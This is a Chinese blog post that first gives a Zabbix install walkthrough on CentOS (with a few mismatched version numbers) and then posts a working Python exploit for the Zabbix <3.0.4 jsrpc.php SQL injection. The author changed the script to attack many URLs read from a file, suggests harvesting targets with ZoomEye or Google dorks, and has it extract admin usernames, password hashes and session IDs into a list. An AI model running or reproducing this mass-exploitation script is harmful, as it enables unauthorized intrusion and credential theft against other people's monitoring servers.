最近zabbix爆出sql注入漏洞。之前一直没装过。就想着来安装一次。我在centos配置玩玩,记录一下:
1.安装LAMP
yum -y install httpd mysql mysql-server mysql-client mysql-devel php php-mysql php-common php-gd php-xml php-mbstring php-bcmath php-odbc curl curl-devel net-snmp net-snmp-devel perl-DBI ntpdate openssl-devel zlib-devel glibc-devel gcc automake libidn-devel rpm-devel OpenIPMI-devel
2.配置LAMP
修改 apache 的配置文件的首页顺序
vim /etc/httpd/conf/httpd.conf
DirectoryIndex index.php index.html index.html.var
配置 php 主配文件
vim /etc/php.ini (去文件里查找 而并非添加。用/直接搜索)
max_execution_time = 300 (最大扩展 执行时间)
max_input_time = 300 (最大输入时间)
date.timezone = PRC (时区,PRC---> 中国。)
post_max_size = 32M (上传文件的大小)
启动Apache,Mysql
service httpd start
service mysqld start (第一次启动就是对mysql 数据库的初始化 )
chkconfig mysqld on 设置开机启动
chkconfig httpd on 设置开机启动
3.下载且编译安装
创建zabbix用户和组
groupadd -g 201 zabbix
useradd -g zabbix -u 201 -m zabbix (增加一个执行zabbix 监控的用户)
下载解压安装
wget https://sourceforge.net/projects/zabbix/files/ZABBIX%20Latest%20Stable/2.2.6
tar zxvf zabbix-2.4.6.tar.gz
cd zabbix-2.2.6
./configure --prefix=/usr/local/zabbix --enable-server --enable-agent --enable-proxy --with-mysql --with-net-snmp --with-libcurl
make
make install
操作数据库
mysqladmin -uroot password '123456' (设置服务器mysql数据库密码)
mysql -uroot -p
mysql> create database zabbix character set utf8; (创建zabbix这个数据库)
mysql> grant all privileges on zabbix.* to zabbix@localhost identified by 'changeme';
(grant all : 授权给所有 on :针对用户 (授权的对象)
to zabbix@localhost identified by 'changeme'通过zabbix本机,并给
与 changeme 这个密码 来登陆。并享有所有权限。)
mysql> flush privileges; (刷新授权表,然后数据库里是没有任何数据的)
mysql> use zabbix ; (用 use命令 进到 zabbix 这个用户)
mysql> show tables ; (用 show 这个命令 查看这个数据表)结果没有发现任何数据表
mysql> exit
导入表结构
# mysql -uroot -p zabbix</root/zabbix-2.2.6/database/mysql/schema.sql
# mysql -uroot -p zabbix</root/zabbix-2.2.6/database/mysql/images.sql
# mysql -uroot -p zabbix</root/zabbix-2.2.6/database/mysql/data.sql
# mysql -uroot -p
mysql> use zabbix ;
mysql> show tables ;
4.添加zabbix服务端口
vim /etc/services
zabbix-agent 10050/tcp Zabbix Agent
zabbix-agent 10050/udp Zabbix Agent
zabbix-trapper 10051/tcp Zabbix Trapper
zabbix-trapper 10051/udp Zabbix Trapper
拷贝文件
cp -a /root/zabbix-2.4.6/frontends/php/* /var/www/html/
vim /usr/local/zabbix/etc/zabbix_server.conf
DBName=zabbix
DBUser=zabbix
DBPassword=123456
chown -R apache:apache /var/www/html/
6、配置zabbix管理(做软连接之前 被链接到的目录没有要链接过来的配置文档,链接之后就有了)
# mkdir /var/log/zabbix
# chown zabbix:zabbix /var/log/zabbix/
# ln -s /usr/local/zabbix/etc/ /etc/zabbix
# ln -s /usr/local/zabbix/bin/* /usr/bin/
# ln -s /usr/local/zabbix/sbin/* /usr/sbin/
7 拷贝启动脚本(方便可以用 services zabbix start/stop/restart 命令)
前提是 zabbix 必须有 读 写 执行 权限:
# cp /root/zabbix-2.4.6/misc/init.d/fedora/core/zabbix_* /etc/init.d/
8. 修改启动脚本路径:
# vi /etc/init.d/zabbix_server
修改
BASEDIR=/usr/local
为
BASEDIR=/usr/local/zabbix
# vi /etc/init.d/zabbix_agentd
修改
BASEDIR=/usr/local
为
BASEDIR=/usr/local/zabbix
9 启动服务:
# chkconfig zabbix_server on
# chkconfig zabbix_agentd on
# service zabbix_server start
# service zabbix_agentd start
漏洞利用:
昨天我在写脚本的时候在提取用户名和密码的时候卡了一下。本来想用正则,何奈我不知道构造,最后我是用split()截出来,今天早上看见独等写得不错。顺道贴出来:
代码来自:http://www.waitalone.cn/zabbix-sql-1.html,我改了一下从文件中获取url,批量打击,例如可以用zoomeye批量获取ip,获取自己写google hack工具来获取ip
#!/usr/bin/env python # -*- coding: utf_8 -*- # Date: 2016/8/18 import urllib2 import sys, os import re def check_Sql(): u'检查是否存在SQL注入' payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1" try: response = urllib2.urlopen(url + payload, timeout=10).read() except Exception, msg: print msg else: key_reg = re.compile(r"INSERT\s*INTO\s*profiles") if key_reg.findall(response): return True def sql_Inject(sql): u'获取特定sql语句内容' payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote( sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1" try: response = urllib2.urlopen(payload, timeout=10).read() except Exception, msg: print msg else: result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1") results = result_reg.findall(response) if results: return results[0] def get_ip(): urls = [] with open('url.txt','r') as f: for line in f.readlines(): urls.append(line.strip()) return urls if __name__ == '__main__': # os.system(['clear', 'cls'][os.name == 'nt']) print '+' + '-' * 60 + '+' print '\t Python Zabbix<3.0.4 SQL注入 Exploit' print '\t\t Time:2016-08-18' print '+' + '-' * 60 + '+' # if len(sys.argv) != 2: # print '用法: ' + os.path.basename(sys.argv[0]) + ' Zabbix 网站地址' # print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.google.com/' # sys.exit() # url = sys.argv[1] urls = get_ip() passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(alias,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" for url in urls: if url[-1] != '/': url += '/' if check_Sql(): print u'Zabbix 存在SQL注入漏洞!\n' password = sql_Inject(passwd_sql) print u'管理员 用户名密码:%s' % password session_id = sql_Inject(session_sql) print u'管理员 Session_id:%s' % session_id if password and session_id: with open('zabbix_bug_list.txt','a') as f: f.write(url +"----" +password+ "----"+ session_id+ '\n') print '写入成功--zabbix_bug_list.txt' else: print u'Zabbix 不存在SQL注入漏洞!\n'